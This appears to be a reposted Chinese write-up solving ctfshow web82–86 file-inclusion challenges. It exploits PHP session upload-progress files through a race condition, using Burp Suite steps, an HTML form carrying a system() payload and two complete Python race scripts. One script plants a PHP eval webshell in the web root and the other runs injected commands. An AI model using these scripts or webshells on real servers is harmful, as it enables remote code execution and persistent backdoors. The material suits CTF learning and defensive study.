ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含

news2025/2/21 19:21:04

目录

1、web82

2、web83

3、web84

4、web85

5、web86


1、web82

新增过滤点 . ,查看提示:利用 session 对话进行文件包含,通过条件竞争实现。

条件竞争这个知识点在文件上传、不死马利用与查杀这些里面也会涉及,如果大家不熟悉条件竞争可以先看看我之前的博客在文件上传中的介绍:

wzsc_文件上传(条件竞争)_竞争条件文件上传-CSDN博客

大致说一下这道题的利用点:

我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。

首先我们写一个关于这道题的文件上传框:

内容如下:

注意替换为你自己题目的地址,并将文件命名为 .html 后缀,双击即可打开,其中 value="<?php system('ls'); ?>" 其实就是我们的 payload,即我们希望执行的恶意代码。

<!DOCTYPE html>
<html>
<body>
<form action="https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show//" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

双击打开页面,开启 burpsuite 拦截本地请求,随便选一个文件上传提交:

使用 burpsuite 抓包,抓到后发给攻击模块:

按照前面说的利用点,我们需要对 Cookie 进行添加:PHPSESSID=exp(可以自定义的)

接下来就是条件竞争的设置,这里不涉及什么参数的爆破,因此清空掉 $

payload 选择 null(也就是没有),并且勾选上无限重复

我之前的 burpsuite 有一个选项里面可以设置线程数:

现在用的这个 burpsuite 有点不一样,应该是这里:

目前我们设置的是上传包的线程数,这里以 30 为例

之后开始攻击,我们就会不断的上传一个包含了恶意代码的文件

回到题目所在页面,我们需要再抓一个访问包,访问的文件是上面我们自定义的,我这里是:

?file=/tmp/sess_exp

因为我们前面也说了,我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。

使用 burpsuite 抓包:

同样清空掉 $,payload 设置为 null,勾上无限重复:

特别注意一点,访问包的线程数需要大于上传包的线程数,这里以 80 为例:

之后也开始攻击,我们就会不断去访问是否存在文件 /tmp/sess_exp

一旦在服务器还未来得及删除我们上传的文件,而被我们成功访问时,根据题目的 php 代码,就会将该文件包含,进而执行我们的恶意代码。

一边不停地上传,一边不停地访问,之所以可以访问到,是因为我们访问的线程数更大:

过一会筛选长度,即可发现条件竞争成功的包:

ls 命令执行成功

修改上传包的 payload,读取 fl0g.php:

条件竞争成功:

拿到 flag:ctfshow{fb4d01d5-8eea-4f79-9d9a-05db3a7d0c9c}

在网上也找到了这类题的攻击脚本:

竞争成功写入一句话木马

import requests
import io
import threading


url='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

运行看到  ++++++done++++++ 之后说明木马写入成功

访问 muma.php 并调用:

a=system('ls');

可以看到我们写入的木马,就在当前目录

读取 flag:

a=system('tac fl0g.php');

2、web83

新增两个函数:

session_unset();
session_destroy();

两者都是 PHP 中与会话(session)管理相关的函数,用于清除和销毁会话数据。

session_unset():

作用: 清空当前会话中的所有变量。

使用场景: 当你希望保留会话但清除会话中的数据时使用。例如,你可能想让用户保持登录状态,但重置会话中的特定数据。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_unset(); // 清空所有会话变量
echo isset($_SESSION['username']); // 输出: bool(false)

session_destroy():

作用: 完全销毁会话,包括会话数据和会话ID。

使用场景: 当你希望用户完全登出或结束会话时使用。例如,用户点击“注销”按钮时,通常会调用此函数。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_destroy(); // 销毁会话
echo isset($_SESSION['username']); // 输出: bool(false)

总结:

session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁:

session_start(); // 开始会话
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话

这两个函数对于我们这里的条件竞争影响不大,在第一题中我们已经介绍过利用的原理了,因此后面我就不再演示手动的步骤,直接使用脚本来打。

这里给到另一个脚本,我们直接执行命令:

#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/?file=/tmp/sess_'+sessid,data=data)
        if 'test.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

运行脚本,whoami 命令执行成功 

接下来我们执行 ls 命令:

存在 fl0g.php

读取 flag:

拿到 flag:ctfshow{b4f6c4ae-24c3-4bdf-b0cb-02d44a71069e}

 

3、web84

新增  system("rm -rf /tmp/*"); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空,所以这里对我们利用影响不大。

改一下题目地址继续读 flag:

拿到 flag:ctfshow{06f54734-37c6-4b2e-b9da-37df8d66555f}

4、web85

新增:

    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }

 file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回,strpos($content, "<") 查找字符串 $content 中首次出现字符 < 的位置,如果其位置索引大于 0,则会停止执行并输出 error 信息。

对我们条件竞争不影响,沿用上面的脚本:

拿到 flag:ctfshow{44cafdd4-f08a-483d-af45-19ed3229dd81}

5、web86

新增:

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);

代码解释:

define 函数用于定义一个常量。在这里,它定义了一个名为 还要秀? 的常量。
dirname(__FILE__) 返回当前文件所在的目录路径。__FILE__ 是一个魔术常量,表示当前文件的完整路径和文件名,而 dirname(__FILE__) 则获取当前文件的目录部分。
因此,这行代码将当前文件的目录路径赋值给名为 还要秀? 的常量。

set_include_path 函数用于设置 PHP 包含文件的搜索路径,在这里,它将包含路径设置为 还要秀? 这个常量的值,即当前文件的目录路径。

设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include()  时,可以省略文件的完整路径,只需提供文件名。

当使用 include()、require()、include_once() 或 require_once() 时,如果提供的路径既不是绝对路径也不是相对路径,PHP 会首先在 include_path 设置的目录中查找文件。

我们条件竞争进行包含的文件是一个完整路径,即 /tmp/sess_exp,因此不影响:

拿到 flag:ctfshow{8dc8c8cd-7851-4e2e-9afb-dfba214569d4}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1899702.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

照片边框添加 | Python | 免费无广告

演示图 说明 照片边框添加 | Python | 免费无广告 &#x1f505;理论上Mac及Windos都可运行&#xff0c;只需要python环境即可~~~ &#x1f505;目前提供了两种样式&#xff0c;白色边框以及透明边框:P2是原图&#xff0c;P3是白色边框的效果&#xff0c;P4是透明边框效果。 …

python: create Envircomnet in Visual Studio Code 创建虚拟环境

先配置python开发环境 1.在搜索栏输入“>" 或是用快捷组合键ctrlshiftP键 就会显示”>",再输入"python:" 选择已经安装好的python的版本,选定至当前项目中&#xff0c;都是按回车 就可以看到创建了一个虚拟环境的默认的文件夹名".venv" 2 …

动手学深度学习(Pytorch版)代码实践 -循环神经网络-53语言模型和数据集

53语言模型和数据集 1.自然语言统计 引入库和读取数据&#xff1a; import random import torch from d2l import torch as d2l import liliPytorch as lp import numpy as np import matplotlib.pyplot as plttokens lp.tokenize(lp.read_time_machine())一元语法&#xf…

FreeBSD@ThinkPad x250因电池耗尽关机后无法启动的问题存档

好几次碰到电池耗尽FreeBSD关机&#xff0c;再启动&#xff0c;网络通了之后到了该出Xwindows窗体的时候&#xff0c;屏幕灭掉&#xff0c;网络不通&#xff0c;只有风扇在响&#xff0c;启动失败。关键是长按开关键后再次开机&#xff0c;还是启动失败。 偶尔有时候重启到单人…

前端面试题16(跨域问题)

跨域问题源于浏览器的同源策略&#xff08;Same-origin policy&#xff09;&#xff0c;这一策略限制了来自不同源的“写”操作&#xff08;比如更新、删除数据等&#xff09;&#xff0c;同时也限制了读操作。当一个网页尝试请求与自身来源不同的资源时&#xff0c;浏览器会阻…

Redis基础教程(七):redis列表(List)

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…

Python酷库之旅-第三方库Pandas(005)

目录 一、用法精讲 7、pandas.read_clipboard函数 7-1、语法 7-2、参数 7-3、功能 7-4、返回值 7-5、说明 7-6、用法 7-6-1、代码示例 7-6-2、结果输出 8、pandas.DataFrame.to_clipboard函数 8-1、语法 8-2、参数 8-3、功能 8-4、返回值 8-5、说明 8-6、用法…

LivePortrait:一张照片生成生动视频,精准操控眼睛和嘴唇动作 本地一键整合包下载

LivePortrait&#xff0c;这个名字听起来就像是魔法&#xff0c;但它其实是现实世界中的黑科技。想象一下&#xff0c;你那尘封已久的相册里&#xff0c;那些定格在时间里的笑脸&#xff0c;突然间动了起来&#xff0c;眨眼、微笑、甚至说话&#xff0c;这不再是电影里的场景&a…

三相感应电机的建模仿真(2)基于ABC相坐标系S-Fun的仿真模型

1. 概述 2. 三相感应电动机状态方程式 3. 基于S-Function的仿真模型建立 4. 瞬态分析实例 5. 总结 6. 参考文献 1. 概述 前面建立的三相感应电机在ABC相坐标系下的数学模型是一组周期性变系数微分方程&#xff08;其电感矩阵是转子位置角的函数&#xff0c;转子位置角随时…

DAY20-力扣刷题

1.填充每个节点的下一个右侧节点指针 116. 填充每个节点的下一个右侧节点指针 - 力扣&#xff08;LeetCode&#xff09; 方法一&#xff1a;层次遍历 class Solution {public Node connect(Node root) {if (root null) {return root;}// 初始化队列同时将第一层节点加入队列…

【网络管理工具】NETworkManager工具的基本使用教程

【网络管理工具】NETworkManager工具的基本使用教程 一、NETworkManager工具介绍1.1 NETworkManager简介1.2 NETworkManager特点1.3 NETworkManager使用场景 二、下载NETworkManager软件包2.1 下载地址2.2 下载软件 三、运行NETworkManager工具3.1 解压NETworkManager3.2 运行N…

搭建排查tomcat内存溢出问题的调试环境

上个月赶工上线的门户网站&#xff0c;由于种种原因导致部署到线上服务器后每隔一段时间后就会导致tomcat内存溢出&#xff0c;今天我就要来直面这个棘手的问题。 要解决的问题对我来说还是有点难度的&#xff0c;原因有二&#xff1a; 代码不是我写的&#xff1b;我对java并不…

【操作与配置】VSCode配置Python及Jupyter

Python环境配置 可以参见&#xff1a;【操作与配置】Python&#xff1a;CondaPycharm_pycharmconda-CSDN博客 官网下载Python&#xff1a;http://www.python.org/download/官网下载Conda&#xff1a;Miniconda — Anaconda documentation VSCode插件安装 插件安装后需重启V…

14-28 剑和诗人2 - 高性能编程Bend和Mojo

介绍&#xff1a; 在不断发展的计算世界中&#xff0c;软件和硬件之间的界限变得越来越模糊。随着我们不断突破技术可能性的界限&#xff0c;对能够利用现代硬件功能的高效、可扩展的编程语言的需求从未如此迫切。 Bend和 Mojo是编程语言领域的两种新秀&#xff0c;它们有望弥…

HumbleBundle7月虚幻捆绑包30件军事题材美术模型沙漠自然环境大逃杀模块化建筑可定制武器包二战现代坦克飞机道具丧尸士兵角色模型20240705

HumbleBundle7月虚幻捆绑包30件军事题材美术模型沙漠自然环境大逃杀模块化建筑可定制武器包二战现代坦克飞机道具丧尸士兵角色模型202407051607 这次HumbleBundle捆绑包是UE虚幻军事题材的&#xff0c;内容非常多。 有军事基地、赛博朋克街区、灌木丛景观环境等 HB捆绑包虚幻…

【Python】基于KMeans的航空公司客户数据聚类分析

&#x1f490;大家好&#xff01;我是码银~&#xff0c;欢迎关注&#x1f490;&#xff1a; CSDN&#xff1a;码银 公众号&#xff1a;码银学编程 实验目的和要求 会用Python创建Kmeans聚类分析模型使用KMeans模型对航空公司客户价值进行聚类分析会对聚类结果进行分析评价 实…

springboot 社区垃圾回收处理小程序-计算机毕业设计源码71905

摘要 在数字化高速发展的今天&#xff0c;随着Spring Boot等轻量级框架的广泛应用&#xff0c;各种小程序、微服务如雨后春笋般涌现&#xff0c;极大地丰富了我们的软件生态系统。然而&#xff0c;伴随着这些应用的迅速增加&#xff0c;垃圾回收处理成为了一个不可忽视的问题。…

Mybatis原生使用

一、MyBatis初次使用 2.1 环境搭建步骤 MyBatis 的 API &#xff1a; https://mybatis.org/mybatis-3/zh/getting-started.html 1.引入依赖包 2.准备核心配置件 db.properties drivercom.mysql.cj.jdbc.Driver urljdbc:mysql://123.57.206.19:3306/demo?useUnicodetrue&am…

步进电机改伺服电机

步进电机&#xff1a; 42&#xff1a;轴径5mm 57&#xff1a;轴径8mm 86&#xff1a;轴径14mm 【86CME120闭环】// 12牛米 伺服电机&#xff1a; 40&#xff1a; 60&#xff1a; 80&#xff1a; 86&#xff1a; ECMA——C 1 0910 R S 4.25A 轴径…

26.5 Django模板层

1. 模版介绍 在Django中, 模板(Templates)主要用于动态地生成HTML页面. 当需要基于某些数据(如用户信息, 数据库查询结果等)来动态地渲染HTML页面时, 就会使用到模板.以下是模板在Django中使用的几个关键场景: * 1. 动态内容生成: 当需要根据数据库中的数据或其他动态数据来生…